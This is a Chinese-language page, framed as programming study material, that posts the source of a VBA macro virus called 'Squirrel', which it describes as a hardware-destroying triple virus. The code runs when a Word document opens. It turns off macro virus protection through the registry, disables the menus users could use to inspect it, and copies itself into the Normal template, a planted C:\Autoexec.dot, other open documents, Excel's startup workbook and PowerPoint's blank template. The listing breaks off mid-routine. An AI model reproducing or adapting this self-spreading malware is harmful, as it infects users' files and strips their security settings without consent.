可以破坏硬件的三重病毒源代码.txt

学习(编程技巧_编程知识_程序代码),是学习编程不可多得的学习精验

可以破坏硬件的三重病毒源代码
 

--------------------------------------------------------------------------------
 
第八军团 时间：2003-12-18 11:13:26 
   
'<!--Squirrel-->
Private Sub Document_Open()
On Error Resume Next
Dim file$
Dim ans$
Dim test
Dim mItem
Dim cItem
Dim aDoc
Dim aTemp
Dim vset
Dim Iset
Dim ads
Options.VirusProtection = False
Options.ConfirmConversions = False
Options.SaveNormalPrompt = False
Application.ShowVisualBasicEditor = False
If System.PrivateProfileString("", 
"HKEY-CURRENT-USER\Software\Microsoft\Office\9.0\word\security", "level") <> "" 
Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", 
"HKEY-CURRENT-USER\Software\Microsoft\Office\9.0\word\security", "level") = 1&
Else
CommmandBars("Tools").Controls("Macro...").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): 
Options.SaveNormalPrompt = (1 - 1)
End If
For Each mItem In CommandBars("Tools").Controls
If mItem.Caption = "自定义(C)..." Then
mItem.OnAction = "AutoClose"
End If
If mItem.Caption = "模板和加载(I)..." Then
mItem.OnAction = "AutoClose"
End If
If mItem.Caption = "选项(O)..." Then
mItem.OnAction = "AutoClose"
End If
Next mItem
For Each cItem In CommandBars("Tools").Controls
If cItem.Type = msoControlPopup Then
If cItem.Caption = "宏(M)" Then
For Each mItem In cItem.CommandBars.Controls
If mItem.Caption = "宏(M)..." Then
mItem.OnAction = "AutoClose"
End If
If mItem.Caption = "Visual Basci 编辑器(V)" Then
mItem.OnAction = "AutoClose"
End If
Next mItem
End If
End If
Next cItem
For Each cItem In CommandBars("Visual Basic").Controls
cItem.OnAction = "AutoClose"
Next cItem
For Each cItem In CommandBars
If cItem.Visible = True Then
屏蔽按钮自定义
cItem.Protection = msoBarNoCustomize
End If
Next cItem
If ads.Name = "Autoexec.dot" Then
看看autoexec.dot是否加载
ads.Installed = False
End If
Next ads
With Dialogs(wdDialogToolsOptionsFileLocations)
.Path = "STARTUP-PATH"
.Setting = "c:\"
.Execute
把起始目录指向C:\ 以便加载autoexec.dot
End With
file$ = WordBasic.[MacroFileName$]()
If InStr(file$, "Autoexec") <> 0 Then
For Each aDoc In Documents
For Each cItem In aDoc.VBProject.VBComponents
If (cItem.Name = "Squirrel") Then
vset = 1
End If
Next cItem
Next aDoc
For Each cItem In NormalTemplate.VBProject.VBComponents
该查Normal模板了
If (cItem.Name = "Squirrel") Then
vset = 1
End If
Next cItem
If vset <> 1 Then
WordBasic.DisableAutoMacros
准备感染,关掉自动宏选项
Documents.Open FileName:="C:\Autoexec.dot", AddToRecentFiles:=False
For Each aDoc In Documents
If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And 
(aDoc.VBProject.Protection = 0) Then
WordBasic.MacroCopy ActiveDocument.FullName + ":Squirrel", aDoc.FullName + 
":Squirrel"
创建C:\autoexec.dot模板,并将病毒复制过去
End If
Next aDoc
For Each aTemp In Templates
If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And 
(aTemp.VBProject.Protection = 0) Then
WordBasic.MacroCopy ActiveDocument.FullName + ":Squirrel", aTemp.FullName + 
":Squirrel"
End If
Next aTemp
ActiveDocument.Save
ActiveDocument.Close
End If
If vset = 1 Then
GoTo out
End If
End If
With Application.FileSearch
如果打开的文件不是autoexec.dot ,则自己找
.LookIn = "C:\"
.FileName = "Autoexec.dot"
If .Execute > 0 Then
Iset = 1
End If
End With
If Iset <> 1 Then
WordBasic.DisableAutoMacros
Documents.Add NewTemplate:=True
WordBasic.MacroCopy file$ + ":Squirrel", ActiveDocument.FullName + ":Squirrel"
ActiveDocument.SaveAs FileName:="c:\Autoexec.dot", AddToRecentFiles:=False
ActiveDocument.Close
End If
For Each aDoc In Documents
If (file$ <> aDoc.FullName) And (aDoc.VBProject.Protection = 0) Then
For Each cItem In aDoc.VBProject.VBComponents
If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = 
"AutoClose") Or (cItem.Name = "FileSave") Then
aDoc.VBProject.VBComponents.Remove (cItem)
End If
Next cItem
End If
Next aDoc
For Each aTemp In Templates
If (file$ <> aTemp.FullName) And (aTemp.VBProject.Protection = 0) Then
For Each cItem In aTemp.VBProject.VBComponents
If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = 
"AutoClose") Or (cItem.Name = "FileSave") Then
aTemp.VBProject.VBComponents.Remove (cItem)
End If
Next cItem


Set NT = NormalTemplate.VBProject.vbcomponents(1).CodeModule
Set TT = Templates(1).VBProject.vbcomponents(1).CodeModule
Set AD = ActiveDocument.VBProject.vbcomponents(1).CodeModule
If AD.Lines(1, 1) <> "'<!--Squirrel-->" Then
AD.DeleteLines 1, AD.CountofLines
AD.InsertLines 1, TT.Lines(1, TT.CountofLines)
If AD.Lines(1, 1) <> "'<!--Squirrel-->" Then
AD.InsertLines 1, NT.Lines(1, NT.CountofLines)
End If
End If
If NT.Lines(1, 1) <> "'<!--Squirrel-->" Then
NT.DeleteLines 1, NT.CountofLines
NT.InsertLines 1, AD.Lines(1, AD.CountofLines)
end if

 

 

Set xlApp = CreateObject("Excel.Application")
If UCase(Dir(xlApp.Application.StartupPath + "\Book1.")) <> UCase("BOOK1") Then
System.PrivateProfileString("", 
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Excel\Microsoft Excel", 
"Options6") = "Check"
System.PrivateProfileString("", 
"HKEY_LOCAL_MACHINE\Software\Microsoft\Office\9.0\New User 
Settings\Excel\Microsoft Excel", "Options6") = ""
System.PrivateProfileString("", 
"HKEY_USERS\.Default\Software\Microsoft\Office\9.0\Excel\Microsoft Excel", 
"Options6") = "Whoa"
Set Book1Obj = xlApp.Workbooks.Add
Book1Obj.VBProject.vbcomponents("ThisWorkbook").CodeModule.InsertLines 1, 
NT.Lines(1, NT.CountofLines)
Book1Obj.SaveAs xlApp.Application.StartupPath & "\Book1."
Book1Obj.Close
End If
xlApp.Quit
Set PPObj = CreateObject("PowerPoint.Application")
Set PBT = PPObj.Presentations.Open(Application.Path + "\..\Templates\Blank 
Presentation.pot", , , msoFalse)
For Each ModComponent In PBT.VBProject.vbcomponents
If ModComponent.Name = "Squirrel" Then dontadd = True
Next
If dontadd <> True Then